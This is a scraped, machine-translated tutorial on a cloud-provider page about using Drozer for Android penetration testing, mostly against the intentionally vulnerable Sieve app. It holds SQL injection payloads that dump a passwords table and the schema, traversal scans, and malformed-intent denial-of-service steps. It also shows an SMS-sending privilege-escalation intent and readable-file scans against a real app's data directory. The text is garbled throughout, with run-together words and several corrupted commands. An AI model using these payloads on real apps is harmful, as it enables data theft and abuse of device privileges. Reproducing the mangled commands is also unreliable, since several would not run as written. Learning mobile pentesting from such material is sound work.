Use Drozer for Android penetration testing

Source: Internet
Author: User

first, installation and start-up    1. InstallationFirst step: Download Drozer from Http://mwr.to/drozer (WindowsInstaller) The second step:AndroidDevice installed agent.apk adb install agent.apk2. StartFirst step: Use ADB for port forwarding on the PC, forward to port Drozer used 31415 adb forward tcp:31415 tcp:31415 Step two: Enable Drozer Agent selection on Android device embedded serve R-enable Step Three: Open Drozer console drozer console connect on your PCSecond, the test steps   1. Get the package nameDz> Run App.package.list-f Sieve Com.mwr.example.sieve2. Get basic information about your appRun App.package.info-a Com.mwr.example.sieve3. Identify the attack surfaceRun App.package.attacksurface Com.mwr.example.sieve4.Activity(1) Get activity information run App.activity.info-a Com.mwr.example.sieve (2) Start activity run App.activity.start--component COM.MWR   . Example.sieve dz> Help App.activity.start Usage:run App.activity.start [-h] [--action action] [--category category] [--component Package Component]  [--data-uri Data_uri] [--extra TYPE KEY VALUE]  [--flags flags [flags ...]] [--mimetype MimeType]5.Content Provider(1) Get content provider information run App.provider.info-a Com.mwr.example.sieve (2) content Providers (data leakage) first get all accessible uri:run s Canner.provider.finduris-a Com.mwr.example.sieve get data for each URI: run App.provider.query content:// com.mwr.example.sieve.dbcontentprovider/passwords/--vertical Query to Data Description present Vulnerability (3) Content Providers (SQLInject) run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/--projection "'" Run  App.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/--selection "'" error indicates there is SQL injection. List all tables: Run App.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/--projection "* FROM Sqlite_master WHERE type= ' table ';--"Get data from a table (such as key): Run App.provider.query content:// com.mwr.example.sieve.dbcontentprovider/passwords/--projection "* FROM key;--" (4) simultaneous detection of SQL injection and directory traversal run Scanner.provider.injection-a Com.mwr.example.sieve Run Scanner.provider.traversal-a com.mwr.example.sieve6 Intent Component triggering (denial of service, privilege elevation)  There are two kinds of vulnerabilities in using intent to trigger a component, such as denial of service and privilege elevation of a class.  Denial of service is less harmful, and more simply affects the quality of the app's service, and elevation of privilege will enable an app that does not have that permission to trigger an app with that permission through intent, which can help it complete its ultra vires behavior. 1. View exposed broadcast component information: Run App.broadcast.info-a com.package.name get broadcast receivers information run App.broadcast.send--component package name --action Android.intent.action.XXX 2. Attempt to deny service attack detection, send incomplete intent to broadcast component (empty action or empty extras): Run App.broadcast.send Send broadcast Receiver (1)   Empty action run App.broadcast.send--component package name Receivername run app.broadcast.se via intent nd--component Package name Receivername (2)   empty extras run App.broadcast.send--action Android.intent.action.XXX 3. Attempt Permission Elevation The limit promotion is actually similar to the denial of service, except that the purpose becomes a intent that constructs more complete and satisfies the program logic. Because activity is generally more relevant than user interaction, intent-based permissions elevate more for broadcast receiver and service. Drozer-related privilege promotion tool, can refer to the Intentfuzzer, which combines drozer and hook technology, using feedback strategy to fuzzing. The following is just a list of the commands Drozer sends intent: (1) Get service details run App.service.info-a com.mwr.example.sieve do not use Drozer to start service am Startservi Ce–n Package Name/service name (2) privilege elevation run App.service.start--action Com.test.vulnerability.SEND_SMS--extraString Dest 11111--extra string text 1111--extra string OP send_sms  7. File OperationLists globally writable/readable files in the specified file path run Scanner.misc.writablefiles--privileged/data/data/com.sina.weibo run Scanner.misc.readablefiles--privileged/data/data/com.sina.weibo Run app.broadcast.send--component package name--action Android.intent.action.XXX8. Other ModulesShell.start Open an interactive shell on the device tools.file.upload/tools.file.download upload/download file to device Tools.setup.busybox/ TOOLS.SETUP.MINIMALSU Installing the available binaries

Use Drozer for Android penetration testing

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.